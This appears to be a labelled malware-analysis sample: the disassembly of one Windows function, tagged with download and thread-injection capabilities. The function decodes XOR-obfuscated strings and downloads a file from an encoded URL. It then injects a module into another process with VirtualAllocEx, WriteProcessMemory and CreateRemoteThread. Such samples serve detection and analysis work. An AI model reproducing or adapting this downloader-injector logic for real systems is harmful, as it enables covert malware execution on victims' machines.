Function at 0x140001560
Capabilities:
Create thread
Download url
Inject thread
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x290], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movabs r15, 0xd379a592104a21a3
mov qword [rbp + 0x180], r15
movabs r14, 0xaf36acb7c9cadc78
mov qword [rbp + 0x188], r14
movabs r13, 0x9a75f628e4193aed
mov qword [rbp + 0x190], r13
movabs r12, 0x5283fa4d786d388a
mov qword [rbp + 0x198], r12
movabs rsi, 0x5b9aeed68d3ff1e7
mov qword [rbp + 0x1a0], rsi
movabs rax, 0xaae2732b57b19e0c
mov qword [rbp + 0x1a8], rax
movabs rax, 0x4c56076cb8f72851
mov qword [rbp + 0x1b0], rax
movabs rdi, 0x13e513f1d5b06eae
mov qword [rbp + 0x1b8], rdi
movabs rax, 0xd318a5f6102521e5
mov qword [rsp + 0x40], rax
movabs rax, 0xaf16acd9c9a5dc1f
mov qword [rsp + 0x48], rax
movabs rax, 0x9a19f669e4393ad7
mov qword [rsp + 0x50], rax
movabs rax, 0x52effa0b784d38fe
mov qword [rsp + 0x58], rax
movabs rax, 0x5be2eef68d48f188
mov qword [rsp + 0x60], rax
movabs rax, 0xaa8c735e57e19e2c
mov qword [rsp + 0x68], rax
movabs rax, 0x4c56076cb89f2832
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rdi
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmm2, xmmword [rsp + 0x60]
movups xmm3, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rsp + 0x40], xmm0
xorps xmm1, xmmword [rbp + 0x190]
movdqa xmmword [rsp + 0x50], xmm1
xorps xmm2, xmmword [rbp + 0x1a0]
movdqa xmmword [rsp + 0x60], xmm2
xorps xmm3, xmmword [rbp + 0x1b0]
movdqa xmmword [rsp + 0x70], xmm3
mov qword [rbp + 0x140], r15
mov qword [rbp + 0x148], r14
movabs rax, 0xd379a592100121ec
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], r14
movaps xmm0, xmmword [rbp + 0x160]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x140], xmm0
mov r9d, 0x40040
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x140]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call fcn.1400011c0
mov ebx, eax
test eax, eax
je 0x140001fa1
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], r14
mov qword [rbp + 0x1d0], r13
mov qword [rbp + 0x1d8], r12
mov qword [rbp + 0x1e0], rsi
movabs rax, 0xaae2732b57b19e0c
mov qword [rbp + 0x1e8], rax
movabs rax, 0x4c56076cb8f72851
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], rdi
movabs rax, 0xa9f06b0a3fde46eb
mov qword [rbp + 0x200], rax
movabs rax, 0xba37880f81d525c0
mov qword [rbp + 0x208], rax
movabs rax, 0xfb98cb00a7a9d715
mov qword [rbp + 0x210], rax
movabs rax, 0xc22e0e057d373252
mov qword [rbp + 0x218], rax
movabs rax, 0xa171794e4b63e28f
mov qword [rbp + 0x220], rax
movabs rax, 0x2e2bc6639c40b3f4
mov qword [rbp + 0x228], rax
movabs rax, 0xb186d4c435f6b4f9
mov qword [rbp + 0x230], rax
movabs rax, 0x25cf3ea9941a77f6
mov qword [rbp + 0x238], rax
movabs rax, 0xfa575cc22aec39b3
mov qword [rbp + 0x240], rax
movabs rax, 0xa2990ee75e96a388
mov qword [rbp + 0x248], rax
movabs rax, 0xc01678d8f4216a7d
mov qword [rbp + 0x250], rax
movabs rax, 0x30b6897d5548299a
mov qword [rbp + 0x258], rax
movabs rax, 0xde1cc0673119377
mov qword [rbp + 0x260], rax
movabs rax, 0x88254cdb2f274f1c
mov qword [rbp + 0x268], rax
movabs rax, 0xc6a9321ccb120161
mov qword [rbp + 0x270], rax
movabs rax, 0x657148a180d4e83e
mov qword [rbp + 0x278], rax
movabs rax, 0xe5b0763afb94e0fb
mov qword [rbp + 0x280], rax
movabs rcx, 0x47dc733f89d9ae50
mov qword [rbp + 0x288], rcx
movabs rax, 0xfc569fe1603e55cb
mov qword [rbp + 0x50], rax
movabs rax, 0xcc45c5d3e7a4b81b
mov qword [rbp + 0x58], rax
movabs rax, 0xf95b8658857d4882
mov qword [rbp + 0x60], rax
movabs rax, 0x31e28e39194255e5
mov qword [rbp + 0x68], rax
movabs rax, 0x6ab59da2e35a9c8f
mov qword [rbp + 0x70], rax
movabs rax, 0x9cd2411d6182ad3e
mov qword [rbp + 0x78], rax
movabs rax, 0x7466325e80c51d69
mov qword [rbp + 0x80], rax
movabs rax, 0x2adc20c3e49f5e97
mov qword [rbp + 0x88], rax
movabs rax, 0x9ec55f390eed71dd
mov qword [rbp + 0x90], rax
movabs rax, 0xf418bc3fb2e111f8
mov qword [rbp + 0x98], rax
movabs rax, 0x95d19465d1c0a374
mov qword [rbp + 0xa0], rax
movabs rax, 0xab685177185c5d24
mov qword [rbp + 0xa8], rax
movabs rax, 0x9e1d152a652e87f9
mov qword [rbp + 0xb0], rax
movabs rax, 0x4a1ff255aa7dcb91
mov qword [rbp + 0xb8], rax
movabs rax, 0x87bba7ad139284c0
mov qword [rbp + 0xc0], rax
movabs rax, 0x3ab069eac2943c0
mov qword [rbp + 0xc8], rax
movabs rax, 0xcd336df218d154db
mov qword [rbp + 0xd0], rax
movabs rax, 0x90fb3cd73da0c0ea
mov qword [rbp + 0xd8], rax
movabs rax, 0xa6244be896110b44
mov qword [rbp + 0xe0], rax
movabs rax, 0x28ee81b317d1ef9
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ad0a9604577a64f
mov qword [rbp + 0xf0], rax
movabs rax, 0xed4174eb1c11772a
mov qword [rbp + 0xf8], rax
movabs rax, 0xa79a507eff743451
mov qword [rbp + 0x100], rax
movabs rax, 0x4447b95b2b78b0c
mov qword [rbp + 0x108], rax
movabs rax, 0xe5b0763adda285cc
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rcx
lea rcx, [rbp - 0x80]
lea rax, [rbp + 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm0
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx], xmm1
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm0
movups xmm1, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm1
movups xmm0, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm0
movups xmm1, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm1
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [rbp - 0x70]
xorps xmm1, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x50]
xorps xmm1, xmmword [rbp + 0x1f0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [rbp - 0x30]
xorps xmm1, xmmword [rbp + 0x210]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [rbp - 0x10]
xorps xmm1, xmmword [rbp + 0x230]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [rbp + 0x10]
xorps xmm1, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [rbp + 0x30]
xorps xmm1, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x30], xmm1
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x40], xmm0
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x180]
call fcn.140002040
nop
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], r14
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], r12
movabs rdi, 0xbc1dcbfb67161be0
mov qword [rbp + 0x140], rdi
movabs rsi, 0xcc1bcdc3ae96af0f
mov qword [rbp + 0x148], rsi
movabs rax, 0xff039f4ec97c4882
mov qword [rbp + 0x150], rax
movabs rax, 0x5283fa4d14015ca4
mov qword [rbp + 0x158], rax
movups xmm0, xmmword [rbp + 0x140]
movups xmm1, xmmword [rbp + 0x150]
xorps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x140], xmm0
xorps xmm1, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x150], xmm1
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x120]
call fcn.140002040
lea r8, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova r8, qword [rbp + 0x120]
lea rdx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rdx, qword [rbp + 0x180]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x140001f02
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], r14
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], r12
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x148], rsi
movabs rax, 0xff039f4ec97c4882
mov qword [rbp + 0x150], rax
movabs rax, 0x5283fa4d14015ca4
mov qword [rbp + 0x158], rax
movups xmm0, xmmword [rbp + 0x140]
movups xmm1, xmmword [rbp + 0x150]
xorps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x140], xmm0
xorps xmm1, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x150], xmm1
mov r8d, ebx
xor edx, edx
lea ecx, [rdx + 0x2a]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140001f02
lea rax, [rbp + 0x140]
mov rcx, 0xffffffffffffffff
lea rcx, [rcx + 1]
cmp byte [rax + rcx], 0
jne 0x140001d62
lea rsi, [rcx + 1]
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, rsi
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140001f02
mov qword [rsp + 0x20], 0
mov r9, rsi
lea r8, [rbp + 0x140]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], r14
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], r12
movabs rax, 0xd317a5e0102f21c8
mov qword [rbp + 0x140], rax
movabs rax, 0xaf04ac84c9a6dc1d
mov qword [rbp + 0x148], rax
movabs rax, 0x9a19f644e47d3ac3
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], r12
movups xmm0, xmmword [rbp + 0x140]
movups xmm1, xmmword [rbp + 0x150]
xorps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rsp + 0x40], xmm0
xorps xmm1, xmmword [rbp + 0x170]
movdqa xmmword [rsp + 0x50], xmm1
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ef9
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], r14
movabs rcx, 0xa11bccde742b4eef
mov qword [rbp + 0x140], rcx
movabs rcx, 0xaf36acb788b3ae19
mov qword [rbp + 0x148], rcx
movaps xmm0, xmmword [rbp + 0x140]
xorps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x140]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001ef9
xor ecx, ecx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rdi
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
je 0x140001ef9
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x140001f46
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f41
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400021cc
movdqa xmm0, xmmword [0x1400043d0]
movdqu xmmword [rbp + 0x130], xmm0
mov byte [rbp + 0x120], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140001fa1
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f9c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400021cc
xor eax, eax
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.140002170
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret